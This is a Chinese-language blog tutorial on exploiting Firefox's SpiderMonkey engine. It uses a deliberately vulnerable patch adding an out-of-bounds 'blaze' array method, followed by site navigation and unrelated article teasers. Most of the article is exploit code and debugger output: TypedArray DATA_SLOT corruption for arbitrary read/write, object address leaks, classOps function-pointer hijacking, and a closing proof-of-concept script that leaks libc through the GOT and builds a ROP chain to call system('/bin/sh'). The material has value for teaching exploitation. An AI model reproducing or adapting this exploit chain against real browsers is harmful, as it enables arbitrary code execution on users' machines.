漏洞利用研究之Firefox浏览器
摘要:安全研究人员已利用引擎的JIT代码优化阶段中的漏洞,并将其用于任意代码执行。
由于Firefox是开源浏览器软件,因此您可以直接从网站上下载其源代码,并根据官方文档直接编译命令行JavaScript引擎解释器。
让我们从一个简单的例子开始。 首先,让我们看一下以下patch文件:
diff -r ee6283795f41 js/src/builtin/Array.cpp--- a/js/src/builtin/Array.cpp Sat Apr 07 00:55:15 2018 +0300+++ b/js/src/builtin/Array.cpp Sun Apr 08 00:01:23 2018 +0000 return ToLength(cx, value, lengthp); }+static MOZ_ALWAYS_INLINE bool+BlazeSetLengthProperty(JSContext* cx, HandleObject obj, uint64_t length)+{+ if (obj->is<ArrayObject>()) {+ obj->as<ArrayObject>().setLengthInt32(length);+ obj->as<ArrayObject>().setCapacityInt32(length);+ obj->as<ArrayObject>().setInitializedLengthInt32(length);+ return true;+ }+ return false;+}+++ /* * Determine if the id represents an array index. * return DenseElementResult::Success; }+bool js::array_blaze(JSContext* cx, unsigned argc, Value* vp)+{+ CallArgs args = CallArgsFromVp(argc, vp);+ RootedObject obj(cx, ToObject(cx, args.thisv()));+ if (!obj)+ return false;++ if (!BlazeSetLengthProperty(cx, obj, 420))+ return false;++ //uint64_t l = obj.as<ArrayObject>().setLength(cx, 420);++ args.rval().setObject(*obj);+ return true;+}++ // ES2017 draft rev 1b0184bc17fc09a8ddcf4aeec9b6d9fcac4eafce // 22.1.3.21 Array.prototype.reverse ( ) bool JS_FN("unshift", array_unshift, 1,0), JS_FNINFO("splice", array_splice, &array_splice_info, 2,0),+ JS_FN("blaze", array_blaze, 0,0),+ /* Pythonic sequence methods. */ JS_SELF_HOSTED_FN("concat", "ArrayConcat", 1,0), JS_INLINABLE_FN("slice", array_slice, 2,0, ArraySlice), diff -r ee6283795f41 js/src/builtin/Array.h--- a/js/src/builtin/Array.h Sat Apr 07 00:55:15 2018 +0300+++ b/js/src/builtin/Array.h Sun Apr 08 00:01:23 2018 +0000 array_reverse(JSContext* cx, unsigned argc, js::Value* vp); extern bool+array_blaze(JSContext* cx, unsigned argc, js::Value* vp);++extern bool array_splice(JSContext* cx, unsigned argc, js::Value* vp); extern const JSJitInfo array_splice_info; diff -r ee6283795f41 js/src/vm/ArrayObject.h--- a/js/src/vm/ArrayObject.h Sat Apr 07 00:55:15 2018 +0300+++ b/js/src/vm/ArrayObject.h Sun Apr 08 00:01:23 2018 +0000 getElementsHeader()->length = length; }+ void setCapacityInt32(uint32_t length) {+ getElementsHeader()->capacity = length;+ }++ void setInitializedLengthInt32(uint32_t length) {+ getElementsHeader()->initializedLength = length;+ }+ // Make an array object with the specified initial state. static inline ArrayObject* createArray(JSContext* cx,
首先转到firefox的源文件夹,并通过git apply oob.patch应用此patch文件。此patch文件中的关键部分是js :: array_blaze函数。此函数调用BlazeSetLengthProperty来修改数组的length属性,并将该length属性的值设置为420。因此,在修改此属性后,我们获得了一个长度超过原始初始长度的数组,并且可以修改超出边界。
当您具有越界读写权限时,最简单的利用方法就是将两个相邻的array,利用第一个的越界去写第二个array。
但是在Spidermonkey中,array存储js :: Value而不是直接输入值。如果要在引擎中写入0×1337的值,则要写入内存的实际内容为0xfff8800000001337。 前面的0xfff88表示此处存储的内容是整数类型编号,而不是指针或double类型编号。因此,只需在此处写入最后32位即可获取修改后的稳定数。
堆分配
创建一个Array类型的数组将触发SpiderMonkey中的堆分配。
new Array(1, 2, 3, 4);
构建新阵列将通过Nursery堆或DefaultHeap分配。Nursery heap最大大小为16MB。这种分配方法不会给堆分配增加太多的随机性。如果我们分配两个数组,它们在内存中的位置通常是相邻的。除了普通的Array类型的数组外,TypedArrays也分配在Nursery heap上。 我们首先创建两个数组,它们在内存中相邻。
const Smalls = new Array(1, 2, 3, 4);
const U8A = new Uint8Array(8);
以这种方式应用的两个数组的地址,以及每个属性的值和表示如下:
object 142edbc00748 global 3cbb06b7c060 [global] class 555557633a20 Array group 3cbb06b79a00 flags: proto <Array object at 3cbb06b9c040> properties: [Latin 1]"length" (shape 3cbb06b89bd8 permanent getterOp 5555558b3219 setterOp 5555558b3267) elements: 0: 1 1: 2 2: 3 3: 4object 142edbc007a8 global 3cbb06b7c060 [global] class 55555764a370 Uint8Array group 3cbb06b79b80 flags: proto <Uint8ArrayPrototype object at 3cbb06b7f1a0> private 142edbc007e8 reserved slots: 0 : null 1 : 8 2 : 0 properties:
可以看出,所应用的Array数组和Uint8Array数组地址分别为0x142edbc00748和0x142edbc007a8。这两个数组是相邻的,并且Smalls数组的大小为0×60字节。 因为我们要修改后面的TypedArray,所以我们首先需要查看他的布局是什么样。通常,在JavaScript引擎的开发过程中,这种TypedArray用于读取和写入任意地址。 TypedArray的读取和写入方法,不再读取和写入js :: Value,而是直接写入所需的raw bytes。
通过阅读源代码,我们可以发现TypedArrays的实现实际上在js :: TypedArrayObject类中,该类也是js :: ArrayBufferViewObject的子类。我们想知道的是哪个属性存储buffer的size和pointer。在源代码中找到实现的这一部分的内容,如下所示:
class ArrayBufferViewObject : public NativeObject { public: // Underlying (Shared)ArrayBufferObject. static constexpr size_t BUFFER_SLOT = 0; // Slot containing length of the view in number of typed elements. static constexpr size_t LENGTH_SLOT = 1; // Offset of view within underlying (Shared)ArrayBufferObject. static constexpr size_t BYTEOFFSET_SLOT = 2; static constexpr size_t DATA_SLOT = 3;// [...]};class TypedArrayObject : public ArrayBufferViewObject
在调试器中,您可以同时看到这部分内存的布局:
可以看出,从内存地址0x142edbc007a8开始,它就是申请的TypedArray。
从地址0x142edbc007c0开始,指向的内容为emptyElementsHeader 0×10,BUFFER_SLOT,LENGTH_SLOT,BYTEOFFSET_SLOT,DATA_SLOT,内联数据(8字节)。length属性是js :: Value类型的变量。 指向内联缓冲区的指针是普通类型的指针。同样令人惊讶的是TypedArray结构的elements_属性指向js应用程序的.rdata部分。 因此,如果我们可以泄漏该属性,则可以获取该模块的基地址。
在任何地址实现读写的想法不能如下:
1.通过读取TypedArray的elements_attribute,此属性在b数组中位置的索引为9,这可能会泄漏js程序的基址。
2.修改DATA_SLOT之后,您可以通过TypedArray读写任何地址。
在实际开始编写漏洞利用代码之前,还需要解决的另一件事是如何将js :: Value转换为相应的数字。由于通过Array类型的数组读取和写入的值都是双精度类型,因此可以使用saelo编写的两个脚本将双精度类型数字转换为存储在内存中的数据(原始字节)。
load('utils.js')load('int64.js') Int64.fromDouble(6.951651517974e-310).toString(16)
除了在漏洞利用之前加载这两个脚本之外,还可以使用以下简单代码来实现double和int32类型的转换:
var f64 = new Float64Array(1);var u32 = new Uint32Array(f64.buffer);function d2u(v) { f64[0] = v; return u32; }function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0]; }function log(lo, hi){ print('0x' + hi.toString(16) + lo.toString(16)); } d2u(6.951651517974e-310);
接下来,为了获得读写权限,正如我们之前提到的,我们可以修改TypedArray的DATA_SLOT属性。将该位置修改为对应地址的double表示法可以在该地址读取和写入数据。指针属性应位于索引13(9 + 4),而长度属性应位于索引11(9 + 2)。
console.log(b[11]); b[11] = 1337; console.log(c.length); b[13] = u2d(0xdeadc0de, 0xdeadbeef); console.log(c[0]);
访问c数组的DATA_SLOT时发生内存访问错误。rax寄存器的值为0xdeadc0dedeadbeef,这正是我们之前设置的值
接下来,可以执行漏洞利用的下一步。通过这个越界控制程序的读写控制流程。
另外,也可以通过这两个array实现任意对象的地址泄漏。有两种泄漏对象地址的方法。
第一种方法是在TypedArray之后放置一个新的Array,该数组存储要泄漏的对象的内容。通过越界读取和写入修改typedArray的length属性后,可以使用TypedArray越界读取新Array中对象的地址。例如,在下面的代码中,您可以通过数组c读取d中存储的c的地址。 当然,此地址以js :: Value格式存储。
b = new Array(1,2,3,4,5,6); c = new Uint8Array(8); d = [c, c, c, c]; b.blaze() == undefined; dumpObject(c);0x15f0d7f00848: 0x0000114803e79d90 0x0000114803ea67180x15f0d7f00858: 0x0000000000000000 0x0000555556d691d00x15f0d7f00868: 0xfffa000000000000 0xfff88000000000080x15f0d7f00878: 0xfff8800000000000 0x000015f0d7f008880x15f0d7f00888: 0x0000000000000000 0xfffe2d2d2d2d2d2d0x15f0d7f00898: 0xfffe2d2d2d2d2d2d 0xfffe2d2d2d2d2d2d0x15f0d7f008a8: 0x0000114803e79dc0 0x0000114803e89bd80x15f0d7f008b8: 0x0000000000000000 0x000015f0d7f008d80x15f0d7f008c8: 0x0000000400000000 0x00000004000000060x15f0d7f008d8: 0xfffe15f0d7f00848 0xfffe15f0d7f008480x15f0d7f008e8: 0xfffe15f0d7f00848 0xfffe15f0d7f008480x15f0d7f008f8: 0xfffe2d2d2d2d2d2d 0xfffe2d2d2d2d2d2d
第二种方法不需要创建新的数组,而是使用此越界数组覆盖数组c的backing buffer。
然后,您只需要读取TypedArray的inline backing buffer。inline backing buffer在array当中的offset为14。
function b2i(b) { let ans = 0; b[7] = 0; b[6] = 0; for(let i = 7; i >= 0; i--){ ans = ans * 0x100; ans += b[i]; } return ans; } b = new Array(1,2,3,4,5,6); c = new Uint8Array(8); d = new Array(1337, 1338, 1, 1); b.blaze() == undefined; b[14] = d;// using shallow copybytes = c.slice(0, 8); addr = b2i(bytes);console.log(addr.toString(16));
获得在任何地址的读写能力后,要考虑的问题是在哪里写。 总体思路如下:
1.覆盖堆栈上的返回地址。 当程序受边界CFI保护时,通常使用此方法。
2.修改对象的vtable
3.在程序中修改JIT函数的指针
4.修改其他类型的函数指针
我们可以尝试最后一种方法。
每个JavaScript对象定义许多不同的函数方法,这些方法存储在相应的内存中。对于js :: NativeObject,有一个group_属性。js :: ObjectGroup文档记录了该组对象的类型信息。clasp_属性表示此对象组的属性。
例如,上面代码中的c数组是Uint8Array类型的数组。如果找到js :: Class的c0ps属性,则可以找到一堆在特定时间由JavaScript引擎调用的函数指针。这些函数可以向对象添加属性或删除属性。
通常,这些指针存储在只读区域中,这意味着我们无法直接覆盖它们。但这无关紧要,我们可以继续向下看,直到找到可以写入的指针为止。一旦我们可以手动重新创建结构并将这些指针写入c0ps属性。
现在我们所需要知道的是,一旦我们可以控制c0ps属性中的指针,就可以劫持程序的控制流吗?
当然,对于这个例子。
const Smalls = new Array(1, 2, 3, 4); const U8A = new Uint8Array(8); dumpObject(Smalls); dumpObject(U8A);console.log('123'); U8A.c = 123; 对`console.log`函数下一个断点,可以看到U8A这个数组的地址在`0x14127df007a8`位置。通过dumpObject还可以看到它的class类型是`Uint8Array`,位置在`0x55555764a370`。object 14127df007a8 global 2da1c037c060 [global] class 55555764a370 Uint8Array group 2da1c0379b80 flags: proto <Uint8ArrayPrototype object at 2da1c037f1a0> private 14127df007e8 reserved slots: 0 : null 1 : 8 2 : 0 properties:
该数组的class在内存中表示如下。对应于此class的内容是TypedArray的所有指针结构。对应的0x55555764a380位置存储Uint8Array类型的函数指针的地址。检查0x555557649c00的内容。
函数指针addProperty为0。修改存储在0x555557649c00中的内容就是修改函数指针addProperty。
(gdb) p TypedArrayClassOps $2 = {addProperty = 0x0, delProperty = 0x0, enumerate = 0x0, newEnumerate = 0x0, resolve = 0x0, mayResolve = 0x0, finalize = 0x555555d7e840 <js::TypedArrayObject::finalize(JSFreeOp*, JSObject*)>, call = 0x0, hasInstance = 0x0, construct = 0x0, trace = 0x555555a0ebc8 <js::ArrayBufferViewObject::trace(JSTracer*, JSObject*)>}
继续执行以生成崩溃,崩溃地址是修改后的值。 这证明我们修改了该指针值之后。 U8A.c = 123语句将直接调用此函数指针并执行
Thread 1 "js" received signal SIGSEGV, Segmentation fault.0x000000000badc0de in ?? () (gdb)
接下来要做的是通过读写上面提到的任何地址来获取外壳。
栈迁移
劫持程序控制流只是现有攻击的第一步。 要获得执行任意代码的能力,您还需要知道相应内存中存储的内容,并获取要调用的函数的地址。 您还需要构造一个ROP来实现所需的功能。
如果您是经验丰富的CTF专家,则可以快速计划一个完整的攻击过程。 在我们能够在任何地址进行读写之后,接下来的步骤如下:
1.程序泄漏地址
2.通过存储在程序的GOT段中的内容读取libc的地址。 计算ROP流程所需的功能地址
3.读取堆栈的地址
4.在相应的内存中写入所需的字符串(“ / bin / sh”或“ / bin / kcalc”)
5.将返回地址及其下面的内存修改为ROP
最终结果如下图所示:
为什么不使用wasm对象
在利用Chrome浏览器的v8引擎时,我们通常使用wasm对象作为最终目标。将创建的wasm对象的可读写可执行页面更改为shellcode。最终调用此功能对象时,将执行shellcode。
但是在SpiderMonkey引擎中,wasmcode不会直接编译为shellcode并存储在可写的可执行页面上。相反,相应的伪代码由js引擎编译和解释,因此相对而言,其wasm的处理速度和效率将大大低于chrome的v8引擎。同时,这意味着我们无法使用以下代码在Spidermonkey中创建可读写的可执行页面。
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});let f = wasm_mod.exports._Z3addii; f();
漏洞利用
POC
var f64 = new Float64Array(1);var u32 = new Uint32Array(f64.buffer);function d2u(v) { f64[0] = v; return u32; }function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0]; }function log(lo, hi){ print('0x' + hi.toString(16) + lo.toString(16)); }function b2i(bytes) { let ans = 0; bytes[7] = 0; bytes[6] = 0; for(let i = 7; i >= 0; i--){ ans = ans * 0x100; ans += bytes[i]; } return ans; }function read(lo, hi){ let tmp = 0; b[13] = u2d(lo, hi); tmp = b2i(c.slice(0, 8)); return tmp; }function long_read(a){ let lo = a % 0x100000000; let hi = a / 0x100000000; return read(lo, hi); }function write32(lo, hi, v){ let tmp = []; b[13] = u2d(lo, hi); for(let i = 0; i < 7; ++i){ tmp[i] = (v % 0x100) & 0xff; v = parseInt(v / 0x100); } c.set(tmp); }function int_write(a, v){ let lo = a % 0x100000000; let hi = a / 0x100000000; return write32(lo, hi, v); } b = new Array(1,2,3,4,5,6); c = new Uint8Array(8); b.blaze() == undefined; d2u(b[9]); js_addr_lo = u32[0] - 0x18151d0; js_addr_hi = u32[1];//leak libc addressmemset_got_lo = js_addr_lo + 0x0000021601e8; memset_got_hi = js_addr_hi; memset_libc = read(memset_got_lo, memset_got_hi); libc_base = memset_libc - 0x164b70;//calculate some important addressenviron_addr = libc_base + 0x1c4120; pop_rdi_addr = libc_base + 0x000000000026b12; system_addr = libc_base + 0x491c0;//leak stack addressstack_addr = long_read(environ_addr);//calculate the rsprsp_value = stack_addr - 0x12d8; print(rsp_value.toString(16) + ',' + pop_rdi_addr.toString(16) + ',' + libc_base.toString(16));//trigger the exploit like the chakracore oneString.prototype.slice.call('', { valueOf : () => { int_write(environ_addr + 0x100, 0x6e69622f); int_write(environ_addr + 0x104, 0x0068732f); int_write(rsp_value, pop_rdi_addr % 0x100000000); int_write(rsp_value + 4, parseInt(pop_rdi_addr / 0x100000000)); int_write(rsp_value + 8, (environ_addr + 0x100) % 0x100000000); int_write(rsp_value + 12, parseInt((environ_addr + 0x100) / 0x100000000)); int_write(rsp_value + 16, system_addr % 0x100000000); int_write(rsp_value + 20, parseInt(system_addr / 0x100000000)); }});
相关热词搜索:漏洞利用研究 Firefox漏洞 重庆网络安全
上一篇:WordPress ThemeGrill Demo Importer插件漏洞:为未经身份验证的用户提供管理员特权。攻击者可以管理员身份登录控制网站。
下一篇: CVE-2020-1938:Apache AJP 协议漏洞,从环境搭建到修复建议详细分析
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了